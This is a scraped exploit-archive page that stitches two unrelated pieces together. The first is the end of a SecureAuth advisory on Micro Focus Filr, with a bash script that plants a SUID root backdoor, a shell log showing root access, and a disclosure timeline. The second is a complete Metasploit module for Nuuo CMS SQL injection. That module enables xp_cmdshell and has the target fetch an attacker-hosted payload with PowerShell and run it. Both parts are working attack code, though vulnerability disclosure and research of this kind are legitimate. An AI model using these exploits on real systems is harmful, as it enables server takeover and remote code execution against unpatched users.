FAMT_BIN=/opt/novell/filr/bin/famtd

<...>

## Start daemon with startproc(8). If this fails
## the return value is set appropriately by startproc.
ulimit -c unlimited
/sbin/startproc $FAMT_BIN

<...>
-----/

3. If an attacker manages to run arbitrary commands on the Filr
appliance as the 'wwwrun' user, they could replace the
'/opt/novell/filr/bin/famtd' binary with, for example, a custom bash
script that writes a SUID backdoor on the filesystem:

/-----
#!/bin/bash

# C snippet for setting group and user identity to 'root'
FILE="/tmp/exp.c"

/bin/cat <<EOM >$FILE
#include <unistd.h>

int main(void) {
        setgid(0);
        setuid(0);
        setegid(0);
        execl("/bin/bash", "bash", 0);
}
EOM

# Compile it
gcc /tmp/exp.c -o /tmp/exp

# Set suid bit
chmod -c 4755 /tmp/exp

# Call the original famtd daemon
/opt/novell/filr/bin/famtd.back
-----/

4. After a server reboot, we can run '/tmp/exp' and get root privileges
on the server:

/-----
wwwrun@filr:/tmp> id
uid=30(wwwrun) gid=8(www) groups=8(www)
wwwrun@filr:/tmp> ls -lha
total 96K
drwxrwxrwt 18 root         root         4,0K ene 21 17:15 .
drwxr-xr-x 27 root         root         4,0K ene 21 14:14 ..

<...>

-rwsr-xr-x  1 root         root          12K ene 21 17:14 exp
-rw-r--r--  1 root         root          137 ene 21 14:14 exp.c

<...>

wwwrun@filr:/tmp> ./exp
filr:/tmp # id
uid=0(root) gid=0(root) groups=0(root),8(www)
filr:/tmp #
-----/

8. *Report Timeline*
2019-01-23: SecureAuth sent an initial notification to Micro Focus including a draft advisory.
2019-01-23: Micro Focus acknowledged reception of initial contact.
2019-01-24: Micro Focus confirmed the reported vulnerabilities and
informed that they were aiming to deliver a patch around mid February.
2019-01-23: SecureAuth thanks the reply.
2019-02-11: SecureAuth asked for an update.
2019-02-11: Micro Focus replied saying that they were expecting to release the patch by the end of the week.
2019-02-11: SecureAuth proposed to set the publication date for next week.
2019-02-13: Micro Focus confirmed February 20th as the release date.
2019-02-20: Advisory SAUTH-2019-0001 published.

9. *References*

[1] https://www.microfocus.com/novell/
[2] https://www.novell.com/documentation/filr-3/filr-overvw/data/what_is_filr.html

10. *About SecureAuth Labs*

SecureAuth Labs, the research arm of SecureAuth Corporation, is charged
with anticipating the future needs and requirements for information
security technologies. We conduct research in several important areas of
computer security, including identity-related attacks, system
vulnerabilities and cyber-attack planning. Research includes problem
formalization, identification of vulnerabilities, novel solutions and
prototypes for new technologies. We regularly publish security
advisories, primary research, technical publications, research blogs,
project information, and shared software tools for public use at
http://www.secureauth.com.

11. *About SecureAuth*

SecureAuth is leveraged by leading companies, their employees, their
customers and their partners to eliminate identity-related breaches.
As a leader in access management, SecureAuth is powering an identity
security revolution by enabling people and devices to intelligently
and adaptively access systems and data, while effectively keeping bad
actors from doing harm. By ensuring the continuous assessment of risk
and enablement of trust, SecureAuth's highly flexible platform makes
it easier for organizations to prevent the misuse of credentials. To
learn more, visit www.secureauth.com, call (949) 777-6959,
or email us at info@secureauth.com

12. *Disclaimer*

The contents of this advisory are copyright (c) 2019 SecureAuth, and are
licensed under a Creative Commons Attribution Non-Commercial Share-Alike
3.0 (United States) License:
HireHackking 
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper
  include Msf::Exploit::Remote::Nuuo
  include Msf::Exploit::Remote::HttpServer

  def initialize(info={})
    super(update_info(info,
      'Name'            => 'Nuuo Central Management Authenticated SQL Server SQLi',
      'Description'     => %q{
      The Nuuo Central Management Server allows an authenticated user to query the state of the alarms.
      This functionality can be abused to inject SQL into the query. As SQL Server 2005 Express is
      installed by default, xp_cmdshell can be enabled and abused to achieve code execution.
      This module will either use a provided session number (which can be guessed with an auxiliary
      module) or attempt to login using a provided username and password - it will also try the
      default credentials if nothing is provided.
      },
      'License'         => MSF_LICENSE,
      'Author'          =>
        [
          'Pedro Ribeiro <pedrib@gmail.com>'  # Vulnerability discovery and Metasploit module
        ],
      'References'      =>
        [
          [ 'CVE', '2018-18982' ],
          [ 'URL', 'https://ics-cert.us-cert.gov/advisories/ICSA-18-284-02' ],
          [ 'URL', 'https://seclists.org/fulldisclosure/2019/Jan/51' ],
          [ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/nuuo-cms-ownage.txt' ]

        ],
      'Platform'        => 'win',
      'Arch'            => ARCH_X86,
      'Stance'          => Msf::Exploit::Stance::Aggressive,  # we need this to run in the foreground
      'Targets'         =>
        [
          [ 'Nuuo Central Management Server <= v2.10.0', {} ],
        ],
      'Notes'           =>
        {
          'SideEffects'   => [ ARTIFACTS_ON_DISK ]
        },
      'Privileged'      => false,  # we run as NETWORK_SERVICE
      'DisclosureDate'  => 'Oct 11 2018',
      'DefaultTarget'   => 0))
    register_options [
      Opt::RPORT(5180),
      OptInt.new('HTTPDELAY', [false, 'Number of seconds the web server will wait before termination', 10]),
      OptString.new('URIPATH', [true,  'The URI to use for this exploit', "/#{rand_text_alpha(8..10)}"])
    ]
  end


  def inject_sql(sql, final = false)
    sql = ['GETOPENALARM',"DeviceID: #{rand_text_numeric(4)}","SourceServer: ';#{sql};-- ","LastOne: #{rand_text_numeric(4)}"]
    if final
      nucs_send_msg_async(sql)
    else
      nucs_send_msg(sql)
    end
  end

  # Handle incoming requests from the server
  def on_request_uri(cli, request)
    unless @pl
      print_error("A request came in, but the payload wasn't ready yet!")
      return
    end
    print_good('Sending the payload to CMS...')
    send_response(cli, @pl)

    Rex.sleep(3)

    print_status('Executing shell...')
    inject_sql(create_hex_cmd("xp_cmdshell \"cmd /c C:\\windows\\temp\\#{@filename}\""), true)
    register_file_for_cleanup("c:/windows/temp/#{@filename}")
  end

  def create_hex_cmd(cmd)
    var = rand_text_alpha(2)
    hex_cmd = "declare @#{var} varchar(8000); select @#{var}=0x"
    cmd.each_byte { |b|
      hex_cmd << b.to_i.to_s(16)
    }
    hex_cmd << "; exec (@#{var})"
  end

  def primer
    # we need to roll our own here instead of using the MSSQL mixins
    # (tried that and it doesn't work)
    service_url = "http://#{srvhost_addr}:#{srvport}#{datastore['URIPATH']}"
    print_status("Enabling xp_cmdshell and asking CMS to download and execute #{service_url}")
    @filename = "#{rand_text_alpha_lower(8..10)}.exe"
    ps1 = "#{rand_text_alpha_lower(8..10)}.ps1"
    download_pl = %{xp_cmdshell }
    download_pl << %{'cd C:\\windows\\temp\\ && }
    download_pl << %{echo $webclient = New-Object System.Net.WebClient >> #{ps1} && }
    download_pl << %{echo $url = "#{service_url}" >> #{ps1} && }
    download_pl << %{echo $file = "#{@filename}" >> #{ps1} && }
    download_pl << %{echo $webclient.DownloadFile($url,$file) >> #{ps1} && }
    download_pl << %{powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File #{ps1}'}

    print_status('Injecting PowerShell payload')
    inject_sql("exec sp_configure 'show advanced options', 1; reconfigure; exec sp_configure 'xp_cmdshell', 1; reconfigure; " + create_hex_cmd(download_pl))
    register_file_for_cleanup("c:/windows/temp/#{ps1}")
  end

  def exploit
    nucs_login

    unless @nucs_session
      fail_with(Failure::Unknown, 'Failed to login to Nuuo CMS')
    end

    @pl = generate_payload_exe

    #do not use SSL
    if datastore['SSL']
      ssl_restore = true
      datastore['SSL'] = false
    end

    begin
      Timeout.timeout(datastore['HTTPDELAY']) {super}
    rescue Timeout::Error
      datastore['SSL'] = true if ssl_restore
    end
  end
end